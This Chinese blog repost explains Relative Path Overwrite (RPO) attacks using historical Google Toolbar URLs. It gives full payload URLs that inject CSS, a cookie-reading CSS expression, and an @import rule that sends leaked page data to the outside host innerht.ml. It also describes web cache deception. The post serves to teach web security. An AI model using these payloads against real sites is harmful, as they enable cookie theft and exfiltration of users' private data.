• 【RPO技巧拓展】————5、RPO攻击初探


    RPO(Relative Path Overwrite) 攻击又称为 攻击,依赖于浏览器和网络服务器的反应,  利用服务器的Web缓存技术和配置差异。

    本文中的例子利用css进行攻击,相当于利用页面中相对路径的css进行欺骗,让浏览器将xss代码写进页面中 。

    一、 初识RPO攻击

    例子 :http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    网页代码

    <html>
    <head></head>
    <title>Google Toolbar API -Guide to Making Custom Buttons</title>
    <link href="../../styles.css" rel="stylesheet"type="text/css"/>
    
    [..]
    
    </html>

    jsp 接受路径参数将一切分号作为参数比如path;/notpath 也会被接受作为目录,浏览器会将用户提交的URL编码解码后发给服务器

    如果可以使用%2f代替 "/"的话,就可以把 URL写为 http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
    返回正确

    • 服务器接收到的是/tools/toolbar/buttons/apis/howto_guide.html
    • 浏览器接受到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html
    • 页面中导入的样式表 为 /tools /toolbar/buttons/../../ style.css

    浏览器认为style.css的根目录是tools/toolbar/buttons,而不是tools/toolbar/button/apis,所以../../style.css跳到了更高一级的目录下。

    还有更多的利用空间我们伪造一个目录为fake,就可以导入一个不存在的tools/fake/styles.css

    http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    • 服务器就收到的目录是 /tools /fake/../ toolbar/buttons/apis/howto_guide.html
    • 浏览器接收到的目录是/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
    • 导入的样式表为 /tools/fake/ ..%2ftoolbar/buttons/../../ style.css

    浏览器认为fake/和%2ftoolbar是两个不同的目录,这样就可以导入google域名下任意样式表就,找到一个能使用参数导入背景的网页如:

     http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 &q=%0a{}*{background:red}

    网页源码为:

    <div id="frontend-directory-page"></div>
    
    <font size="-1"><divclass="resultNotFound"><p>Search <b>-
    
    {}*{background:red}</b> did not match any gadgets

    如果http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会自动重定向到

    http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 &foo=bar

    就可以直接构造载荷了,因为样式表需要持续的注入所以将xss代码写入url中

    构造PayLoad为:

    http://www.google.com/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

    • 服务器接收到的请求为 /tools/toolbar/buttons/ gallery?q=%0a{}*{background:red}/..// apis/howto_guide.html
    • 浏览器接收到的请求为:/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
    • 导入的样式表为:
      /tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/ ..%2f/apis/../../ style.css

    /tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
    /gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

    样式表被成功导入了页面,更进一步可以将CSS XSS代码导入其中 如{xss:experssion(alert(document.cookie))}

    PayLoad:

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bxss%253Aexpression(alert(document.cookie))%257D/..%2fapis/style.css

    弹窗document.cookie。谷歌设置了深度防御 设置请求: X-Content-Type-Options: nosniff 不会将 Google Toolbar 自定义添加按键中的属性插入样式表,而IE9之后才能识别的这个请求,在IE8之前是不识别这个头请求的,其他的浏览器 如firefox和chrome会在读取同域下的数据时忽略这个头请求

    二、进一步进行利用

    CSS 对导入的一切样式表都采用松散的解析方式,可以导入http://www.google.com/*下的所有页面作为样式表进行解析,如果页面中包括隐私数据和注入点的话我们可以用CSS Magic去偷取,使用条件:

    • 注入点应该在隐私数据之前
    • 注入点允许%0a,%0c,%0d等空白字符
    • 隐私数据不包含段间歇

    PayLoad:

    http://www.google.com/search?nord=1& q={}%0a@import"//innerht.ml?

    @import 是一种不常使用的,容易被前端开发忽视的方法。用来引入css文件,import先于除了@charset外的其他css规则。所以使用@import引入css便可以绕过谷歌的深度防御。

    在我们的PayLoad中创建了一个@import"//innerht.ml的引入规则

    获得了页面中泄露出来的信息,接着利用在攻击中获得

    PayLoad:
    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html

     

    三、 外传 :

    Web 服务器欺骗请求:    当目标网站存在负载服务器时,访问当前页面下,事实上并不存在的css等静态文件时,会在缓存服务器中缓存下存在 用户账号密码的静态文件页面,让攻击者可以直接访问用户账号。

    可用于缓存的文件后缀列表:

    aif ,aiff,au,avi,bin,bmp,cab,carb,cct,cdf,class,css,doc,dcr,dtd,gcf,gff,gif,grv,hdml,hqx,ico,ini,jpeg,jpg, js,mov,mp3,nc,pct,ppc,pws,swa,swf,txt,vbs,w32,wav,wbmp,wml,wmlc,wmls,wmlsc,xsd,zip

    转自:https://www.tuicool.com/articles/eIf6Vje

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    Vue Supermall蘑菇街API后端接口
    Vue UI库:ElementUI使用教程
    Python操作数据库,读取数据并按照json格式写入json文件
    css 轮播图
    ArcGIS Server密码重置
    JavaScript之箭头函数
    arcgis属性对比
    JavaScript之Promise
    很遥远
    请不要等到四十年后才明白
  • 原文地址:https://www.cnblogs.com/devi1/p/13486335.html
Copyright © 2020-2023  润新知